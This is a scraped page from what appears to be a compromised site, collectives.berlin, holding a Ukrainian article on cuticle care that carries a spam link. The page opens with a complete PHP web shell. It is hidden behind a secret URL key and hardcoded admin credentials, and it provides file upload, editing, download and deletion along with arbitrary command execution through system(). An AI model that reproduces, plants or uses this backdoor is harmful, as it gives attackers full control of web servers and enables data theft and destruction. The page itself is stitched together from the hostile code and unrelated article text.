if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Догляд за кутикулою: основні поради – collectives.berlin

Your digital paradise.

Догляд за кутикулою: основні поради

Догляд за кутикулою є важливою частиною манікюру, яка часто залишається без належної уваги. Кутикулу слід підтримувати в ідеальному стані, щоб запобігти різним проблемам, nailsforyou.com.ua таким як запалення, інфекції або навіть вростання нігтів. У цьому звіті ми розглянемо основні поради щодо догляду за кутикулою, які допоможуть зберегти її здоров’я та естетичний вигляд.

Що таке кутикула?

Кутикула — це тонка шкіра, яка покриває основи нігтів, захищаючи їх від бактерій і інфекцій. Вона виконує важливу функцію, оскільки запобігає проникненню шкідливих мікроорганізмів під ніготь. Правильний догляд за кутикулою допомагає зберегти її еластичність і запобігти її пересиханню.

Основні причини проблем з кутикулою

  1. Неправильний догляд: Нерегулярне зволоження та відсутність обережності під час манікюру можуть призвести до тріщин і запалення.
  2. Неправильне обрізання: Занадто агресивне обрізання кутикули може призвести до травмування шкіри та інфекцій.
  3. Вплив зовнішніх факторів: Холодна погода, часте миття рук, використання агресивних миючих засобів можуть негативно вплинути на стан кутикули.

Поради щодо догляду за кутикулою

1. Регулярне зволоження

Однією з основних порад є регулярне зволоження кутикули. Використовуйте спеціальні олії або креми для кутикули, які містять натуральні олії, такі як олія ши, олія жожоба або олія мигдалю. Наносьте їх на кутикулу щодня, особливо після миття рук, щоб запобігти її пересиханню.

2. Обережне обрізання

Якщо ви вирішили обрізати кутикулу, робіть це дуже обережно. Використовуйте тільки стерильні інструменти і обрізайте лише те, що необхідно. Не намагайтеся видалити всю кутикулу, оскільки це може призвести до травм і запалень. Краще віддати перевагу манікюру без обрізання кутикули, використовуючи методи її відсунення.

3. Використання засобів для видалення кутикули

Існують спеціальні засоби для видалення кутикули, які м’яко розчиняють її. Вони можуть бути корисними, якщо ви не хочете обрізати кутикулу. Нанесіть засіб на кутикулу, дотримуючись інструкцій виробника, і обережно відсуньте її за допомогою дерев’яної палички або пушера.

4. Захист від зовнішніх факторів

Щоб запобігти негативному впливу зовнішніх факторів, носіть рукавички під час виконання домашніх справ, особливо якщо ви працюєте з миючими засобами. Це допоможе захистити кутикулу від агресивних хімічних речовин та зберегти її здоров’я.

5. Збалансоване харчування

Здоров’я ваших нігтів і кутикули також залежить від вашого харчування. Включайте в раціон продукти, багаті вітамінами A, C, D, E, а також біотином і фолієвою кислотою. Це допоможе зміцнити нігті та поліпшити стан кутикули.

6. Регулярний манікюр

Регулярний манікюр — це не лише естетичний аспект, але й важлива частина догляду за кутикулою. Відвідуйте професійного майстра або робіть манікюр вдома, щоб підтримувати кутикулу в гарному стані. Пам’ятайте, що краще запобігти проблемі, ніж лікувати її.

Додаткові рекомендації

  • Не гризіть кутикулу: Це може призвести до інфекцій та запалень. Намагайтеся уникати цієї звички.
  • Використовуйте натуральні засоби: Олії, мед, лимонний сік можуть допомогти зволожити та живити кутикулу.
  • Слідкуйте за станом нігтів: Якщо ви помітили зміни в стані ваших нігтів або кутикули, зверніться до дерматолога.

Висновок

Догляд за кутикулою є важливим аспектом загального догляду за руками та нігтями. Регулярне зволоження, обережне обрізання, захист від зовнішніх факторів та збалансоване харчування допоможуть зберегти кутикулу в ідеальному стані. Пам’ятайте, що краса ваших рук починається з правильного догляду за кутикулою, тому не нехтуйте цими простими, але ефективними порадами. Здорові і доглянуті руки — це не лише естетика, але й ваша впевненість у собі.

Leave a Reply

Your email address will not be published. Required fields are marked *